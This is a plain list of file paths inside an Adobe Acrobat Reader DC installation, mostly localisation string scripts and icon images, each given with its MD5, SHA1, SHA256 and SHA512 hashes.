SHA256 a253c6b6ac223063ea6d1602e781436e2515775cec9b320336dabb0e7375d803
SHA512 a2586242e6a53aa3513ff0738a8a06e60cd69e43f6d8ef7d53984e2e3888db7424a1e48ab1fc9e3307d06b1649bcb314b49c791036f52e8ea9aa57b19c9cec07

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js

MD5 25f017c2dcead2b6b170bc8a78f3ee9e
SHA1 8d94d05fd945761cd38032fc21e823dfb08c6dc6
SHA256 584872368eae7934ee85d7a168b72bc95c556df6e621649dee0e5beebc94ed4e
SHA512 f64b4dd5e155cf0c2b0ab42f638ce065440f0e1a586d8dee7fa5a6dd799c05cd96a5ef60fce3413fda07a2b0896214985317e66be0740203d552b9cb63594bc0

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\ui-strings.js

MD5 c1bf73e7c78b4dcfbb5966bf868b7b46
SHA1 775513a80c1a0a5ed039d8ebefd9c3a3129c65af
SHA256 2bcf3c2e7bd9f89d9b63e6615f62f1b6b196b0a54ef802a10ae2e5904eedaf63
SHA512 b5841825459082d7504daeff6ef9a9a027b34dca7fe296428af89926773ff7717310d504559d1841e16d935158103aaabd37f0b017ec36d01c8f8be8d9c13d84

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js

MD5 aa1b7e9cf9304dd9964d115f037237e8
SHA1 24c7c994ba16afc393cd60ba669b9f7fc3881a07
SHA256 025b15d08a7ee149fd506a6336496d5d15aa18999fd53a87708b56ac6752b966
SHA512 4934019946db4d79f7d1692dc79fa97a31e846befb07bfd455cdc5dc4641143837d57fdd168ece4a272ef8b90a01f7023cde9ba54f520b7efad390faf443f54a

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png

MD5 7f9b9b82c06701057575cb2d26604454
SHA1 9cc9225e5415f4c1832b9cb260616d0af4d306e8
SHA256 3fcf39917f7cd109b55f770178d61ed2dc6e7ee8fefc3c124be3773f5d98187f
SHA512 4e527e253582eb1d9c54b99e0029a8e496569946a52781f0353cef5b1bdbee3ccfb04521cf1a283cc5610a995373bce77b099e59dfdd242174926c283d63b1d0

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png

MD5 0b799b47590b8da9b78e9b8a5ffda935
SHA1 031c6cf5d2251864153d393864aeb52b29a21ec0
SHA256 34a80d6db62b8bd2f1cf0517f5b6c2464bee40ca7f03e42bd8c10610aa23151b
SHA512 a998687464ac11ab37fb081b4ee218227ad5bb2b923e7bd7dd6ba89ac8dc5e612931d0d17ff36153cbb487ea930b8483c81a5106c9944ca419db70b3cbf92e67

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js

MD5 0c0938f333e78d0a3188e74c3912308f
SHA1 5c2eb18d385f677ffde6fc7c672d181d17e47f7b
SHA256 ddc424a1b803cdab7cd6a1d2fc1024196e33849d63cd9722e93fd6f959d05e11
SHA512 18ebb00ed6bd920eed8d90006854dd946eb98adcdaa1a79fe1cf5c1f9eb63b43ee42c5b8ca34a3935dc13ef00fec0760cf1539eb4fb63b9121cb13c2d32c2b14

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js

MD5 3be3cbe200465d1c872bc5ce3a53c7f2
SHA1 1eecfb4b3a29a0c5f232a766366094880c823bc6
SHA256 963db5bd8018f1d9734dc9b9851a87d75d27086ae14883112be133857c339590
SHA512 de78c2e81d6b6fddea6d14b3f0c3eb34dafe23fdd183d391212ab8a612016401d7c55c88a1bf0dd3a1355c5bbc0abd863384e91f6883460bd2482f153c856743

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js

MD5 f7e147cd80432e086080543ec6197812
SHA1 223dc0697ded0a7751c74f47851348eb05a4a364
SHA256 6e71f86d5f07ba43d44ec0b11a638ff2cf3f9acb5c249bea57682e612596d496
SHA512 82e7dee90149744d58722bac2701c242c54bb9c004ae6f45135b0d8f624bd1bc6e853124ad435e0517674c7d8f47aaa103e7bd7d4578e4ccf9a8d6c8b761d2e0

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js

MD5 bb2214d3bb7fe44754aa643fa46fa479
SHA1 3a60d2b680916074595e479c35d9d454a0ac26ea
SHA256 0aba9f28c0a7438ae2477c9bea3702827ea49d29320ea11fa77e4837d3257d7b
SHA512 3071a5805da6c76a571206741c4bc44eab0219ff49bf4a3906aaf5d09e22aaf07298b5e0df1bb716caed8965ea5020b05c10dc2daa7203378e6d3cec33b094d9

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\ui-strings.js

MD5 13dec6d7244ed933f4890bd91901d00d
SHA1 08e3b46eac6d925301941cf8ca3694002f6f633c
SHA256 fe7b5e813b10a6c5b4ef86ddceb8d6767f07b06bc03d9452b541a6d5593fd3d6
SHA512 60b9d088594b5020ef5a8c0f2db2ca7893f1d44eba5259df97c74b9010c2c9ada5f9558f9eb7569b8e20d0552e5d62a5a53366971c82f2e02cfa0327766349d4

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png

MD5 35698ddf6f7f8c466578413fb2d614e4
SHA1 cdb4c5a978197e08dbc3831869d276822a352b1a
SHA256 10ae21276391dd8db7a9dfa33a093499a9f16624950c2699d9f39d8237330931
SHA512 f6944ca0c498645459b9e37e8fabf690c43163f447823acfb31e2817d2187e89e72ea525b3d1c4c37604081b69bc67e89af4cccd269b47dac5a609e3014d70f8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif

MD5 e18203f48a788bf47315ee31d9792513
SHA1 a51dc6eb06aee1204198f6e6f2ea9742bcbb6cb8
SHA256 d6da10bd948a48023b87a9fa18867e1271d16630e17067ece4903774ec01e29d
SHA512 e2338691c8cd7d723818eec2a9f7d45de011822b6d9d12c8d3815ea60100ef20ecd25151341b8c71713e50960eeb738863c3be3f3948d3913c7d30d6d7f26b60

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png

MD5 ccb1fe5755e37b47c6ad674d7a30d17d
SHA1 88cafa3848c5ce99733191d9c997535776dd2d48
SHA256 e8028262dd3646308c13eb4b5aa5c659589a829620eaf5796c3219d22cddba4e
SHA512 cffa188e6950ca193147c7499ee39dbd97b2bd1dc90df08cbc3833e1c7ee8ee608cae3de209c39e31f48c0557a9ad6b265a4c24293a7e0938fb456c9f4c6e852

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png

MD5 8a84b2582a7cedc5ee0e022810c1040d
SHA1 3ab930b5524025ede8b7404fcffd3e9996160c36
SHA256 0ad435166d2d65e19210d31710f7d784e4e0ba8704074b7adb64f46b6ae96da3
SHA512 7198d6bccc3ee6c313bba646c96e97fd1b6619beceef91fddaa38604c9b9b8328204586e088a18eed6d4e23e7e7d90c62b4ed14651e074d55ef2a915c14d8bed

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png

MD5 7081ee37dee7c49e64aa888bd76f575a
SHA1 26930bd614a6df7082de71d15e0146a81540a16b
SHA256 40b8c2081f84a11c457381afd2f9b481b25f64f98b27ca75c21b2bcc71477a8a
SHA512 0f13f86d327e5651f37098ea89e5754cfc0c12e0bafc221a0d3dec1afcd6919daa7b249b4e30c24fdb9a56c98769f6d280a1771f7fe823c3be5d689a0ea53555

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js

MD5 1ad7649079123d4ccf220fb9fba66e7b
SHA1 6bac642a80627a521e636898f5d8bd8d6269fc14
SHA256 1f0049c603915adf04951d8549220745e14e7f4c6e2487bb085ea68204ffb414
SHA512 d3c1c1a8de2d71eb637e36c8cc817b1dcf4bc82ec5b9fcae02946cba5bced1d349d33296923661b39446e117b4d3bad4221a1b444330cc5ed0ebf32f4daf3597

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js

MD5 1768bc0b93330b013db6c1786e032fc0
SHA1 3f0172e85ffbd2e4f0cb50bb53eb99eca4ffe20f
SHA256 3017911a9f66a720ce015e0055c7a33827464199c6d7bd4b4002a0c1d0852064
SHA512 4be386f1091637a7d8aa30c4ef62f3e230622122d1e2f35e5d022186a3dd5f9a765eb046080441ff2a6b009d1f488678f15151942f869d2b3fc4596f24dab8ab

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\ui-strings.js

MD5 6faf7404d4c2ee7730c38fae26c430a8
SHA1 c462ca83df46c0daf0fcc72222893d763d5bc48b
SHA256 ff88b5e5d357a2e56ca135375bf4174917c0763360e9e6a865e80dd354d966fe
SHA512 18d24739f1ae0f98b3b3c00f504c5b70ba5014b5231f84d5ec6cfe85154ce6dca42d751ecfdb62bf860ec3a07c7303d5962714b2ccae94c959a8de52c5db0d73

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\ui-strings.js

MD5 54b68803fd7770561cb7c94ed24df93a
SHA1 a515b98fffb516fecf787798275c8771627fa37d
SHA256 512a1cf34e38ecd7a8de22177e7b5487e782731911ee43d4651b0c54f7d0d358
SHA512 08d60fe195b2592c8fffa0906f5e2f19cb46f5366f94a1336e6cada98c9917f33ccb1463cc12ba0007fdf5c4001be8e5c1bc5635b8ba845d1dd8a741510eb709

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\ui-strings.js

MD5 e79faf040dfb64fd2e8cbea5c1b8575e
SHA1 ceb0bb60efbb5d7bc51a73a7bae3730dd472a097
SHA256 0f07b9f20b4d08fa5b95ef90e460b8dc0bbae535e4fa7cafd02795b2f124cc38
SHA512 1adb1bc10179477b5f6536daf5ba8492756ae78b121028b940b48a19256227f41c3e3a7833f497a694ebaa71d0eb56c99ec94f8206cea8e16baa72d3fe92862c

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js

MD5 ed1908edc95fc30fd06095834af863df
SHA1 bfd065d622f99216dd398275e3e4c4654898f2c6
SHA256 5dd93f7e19f9494213b5d070dc62d0c46badee05899f4b7496e83118c7d78f88
SHA512 fc7701c83b9abafa958d2513ac1cf762db03b0c528da837a8dc114289ba822bd9bce0f69b1965cde6b0247a37c071c35321557023292113aee2fee99c5c3b52f

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\PlayStore_icon.svg

MD5 d7fc2dd57fcec963f77a4c5e8a4e187b
SHA1 633aac58340cbd10b9fb80fb02c66cc58af7bbf2
SHA256 d55cae2306feb134fc9d623add130706d82857e69e566f14b282f067fa170e15
SHA512 39f8a2dce79b60c0b34be003cc5bdf6fa3ae95b36e5254f9958520d9b4d878bc0cdc5ff7ba7e2b222285741abbb2d16500bada737b3cd7506395743e79918230

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js

MD5 bd85606862c491f7ecf8820cd62b7647
SHA1 6f011634697e5317611a715ce6f849e93eadaed9
SHA256 5ec088084d6232bb59dbd8c89722e8e469cf018ba851ce456fe15383573ff746
SHA512 5ef44d6037e7c6201588ef153afe18dc272f14f2d195b4c4a95e2ce9fe3fd4813f842ccced273d50bd15313b8335f80a7abb6a4755533e72d57944d4a7dd26b5

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\root\ui-strings.js

MD5 94511ff7a9abb26554cf94340b893021
SHA1 334dd8237b5c16b35fd3f59463a0565ac4326fbc
SHA256 77062bcf86e221ea5b994a1d11fa484737a24b0a40bff5ae305ee9eb867a3ba8
SHA512 a559d76a1f17dad8ab436b1966922217ca8c6c02cbeddf2f32baca00a1768ec3d1d01c4491dd05780f9112321f6b71a5140d179b2ff535491eaf43a5d3c84932

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js

MD5 c922d93f3ea4e65de148257e4ab2dc7d
SHA1 c96b1c8d6c9e6f46328c3e0f9174aeb32be75df7
SHA256 840a77740c9f3f999dfe5c5a0cfca0073f7af5dc5e5d624304c1066527f7d553
SHA512 3467a7358216bf6e1ba1d02c4e218e27ef90493a8b7b25413d1e90a4d44d55acd6672ff8c9c72056b01655fa95f0af4ef4f3d77dcc3d13cd8dac80ba8a95f5fc

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js

MD5 ce5edd18207baea3d13f07ec166a33eb
SHA1 ed3e3d256b680d20d1f5b7aaa4239f6e603544c0
SHA256 7be7a3c36d10debe322511b22265d64019d3335106ff1cc2a605ca885d45f097
SHA512 5b2e151cdb9da9d11023d48282623db6743ad78b12abae8989a5eb034cdd9bb96b4af92cc6caee67203e2f1d6b4acd261b33de32da954de7bd3e1cc09a4a0a10

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\he-il\ui-strings.js

MD5 61b7bde8d68298e1a5579f4763f9cb25
SHA1 1c80cb0c24b2b016865c6b92b42423bf50b9202f
SHA256 1fa1ad7f70c1cd119d49d086549f9e93460eedcab63f2423a718e8eb84bfe614
SHA512 654030ad951e1c6aece27f790f575a9e614ab5601363ab489d402507a6fce56a316308fd2a66bbb057760cf8f19a8a5763db2033733a09f70a87cf4f1212d790

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\nb-no\ui-strings.js

MD5 5ab8394b377e949a63e9629abb3fb0c9
SHA1 e54aaaa72ec1e1cdd663956a810cfb2b928f720e
SHA256 b910d10ddeea2255ab6cec39cfab27c77434686aac3cbf7e30cede68f028f824
SHA512 61b69422df494a2341ea8b698019649391641aeec2950c538726614cc831901ab22d60197ba3f30ca38c69f32bf166ca96831176ad254840c27a03d9e97d72e9

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js

MD5 8555778a9778ad7dc4aec0313f01bb71
SHA1 a40032d98ee021b71b28d352d8ef4b4119150dc8
SHA256 3daa52b39efbdc52f9e43dab0db23208f997adee03c8dc4f891abed5945694a1
SHA512 4ab63822270db7bba4d8515f44f530b48a1061ebd819b137d5c83111cff7f18734d6ad14bd79a542c4e2dfb5c964130e2a124cece7b213cd7b40a3abfae00ef3

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js

MD5 77cb285063c4df6fb6e5c5f61a1696ea
SHA1 52b3eabeddb621e564d891d861087bd5f0ba47d8
SHA256 16499d79aace0a5ae3cd8ee949e9e79f94244b2d9de0b86bf7f9b68985780b3c
SHA512 a2fb1df5ee3a25dfe830461ccce8776edb9f03a8571b79d371b7d40a4dd0c088be66d2b893538c6bd3aaea267edfd388289f6600d0b4e3b60e9180cf156dad04

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\ui-strings.js

MD5 9568d2ccbbddd7faa307bb58d7b7fd8f
SHA1 118efeab2fa890f7006b3e67c5eef8e760506cb8
SHA256 85df4b496435196fcb56b5794b6b944b7d0e323dc0aaa7af4a6267a45ef74a0e
SHA512 ce5d595ada09d58c2acc5791fc795ce5988bbba51308a95e60fe0e6240419509f8fc06408ed5d82b74b914224a68c36631d27f8757f671f4b23f273acba5e2e6

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\en-gb\ui-strings.js

MD5 640200bafdb4fceabeb15b08fc590340
SHA1 abd53057198dcf4fcae761ef312824b80be01a36
SHA256 e21e2b9dd369ae213cdd902854cd414ebf1a226676eb5c06463bc54e2fbf85b6
SHA512 f2f6477c064b99e197a4a860f488caa2710187a741bf55a1a127f6e8994bb313d5a1cc5441abedf43901d0fb50d58b7a0ea20202617613eea99a58435aa025e5

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js

MD5 8cd4e663c449fc57d753cb829bef6567
SHA1 e04055c62b36bd096a48974d3e187b4d2bef28a3
SHA256 8b1390e0ad1f79db05f481b86f5b2d131def65848bf2a0e1001228656e77cea7
SHA512 16fee9f2784d0cdb4fb68cde7a6c9a8bad405e12d589a24b60800f113838c25f1cb59365e002df145bfbd6a34628292238c5ccbc4845390818dbf89c5b5e0642

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js

MD5 31eecc4323214814c32f5617b9d97a2f
SHA1 448b4cc02eb1fbb46877ab2fa50fd74d009be850
SHA256 284868f26c84c1a7afcdac67f3c80f47ec729da5cfac7f0a0c43fda62ff70e7e
SHA512 5478480c8433fa21bbe7d774643f6ce77ec759e32b20d1c6c94bf55c77e4073ff83948713de8b66aa73cb2ee00c457475d1fc331878120f12a5b11ac28ed5ae2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\ui-strings.js

MD5 a7ab03606d0690984938edb8d81e1391
SHA1 ba7a73968bb324e1ae8f6aacc173df2ebb6b82bc
SHA256 01ac2acc2a1c0415b45c897e6aa90ff75e36f705ffdac4f48f21c6be8f3774ea
SHA512 9da1da1fbe6ee2ca3c64b217bc09c8360720b419fdf5ff3d1f42c4242c75bf2019474a3eb99be1d412616db259eedf03b2fdf6c293933dbfeacf683fe8628b7e

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\he-il\ui-strings.js

MD5 0fb91fdb043181975be3c44560671a57
SHA1 b4401264806a5e2b73acb263d52d000283db13f3
SHA256 a649d8ed7314d001bae1ae9068376f8d6e4bc512dfa57b130875bf6a558edf53
SHA512 22353d6e2054e7a9b1f3e8d821842a9e9f61e7b9f5f84200fb4d7f7759ea8e125bb1b5764b882c9a9f7eedc9af4fff051699d070faa70e8fc99acb6d6e2e98f0

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\ui-strings.js

MD5 6c92455e1510335efdf8351d5c96b888
SHA1 bba4bbf766b743d0f010e00dd013ad799dc2eda7
SHA256 c61661b27d9e0805365bd8fbdb4e6a785f0a15e5fef604f75363e17283827bd5
SHA512 164e9aa5d93196b746f37dcd47c698141a1bb17667041b83dcbf6d4e41fcb01cfb47ca60e4c863f74ea92cc2c7099118d338c69ad7e6e196733d3cbfc3ee057a

C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt

MD5 d6aac2737b91c9729da80bfc9702e20b
SHA1 6609dbd2402c95d81fefd0bd262f721108a053b5
SHA256 a532da89eba3b2690dd35836c71927f0bcc7a0292153a0d526766b1c4d54e7f3
SHA512 d3537eee6d9e2188f950bca3802aaf3c6e91159d594f67f589e819d229be317c466b1510e50edbdff6c4978f41bf2b6d9ba0dbe71c95a1ae112a8b29aba4d37d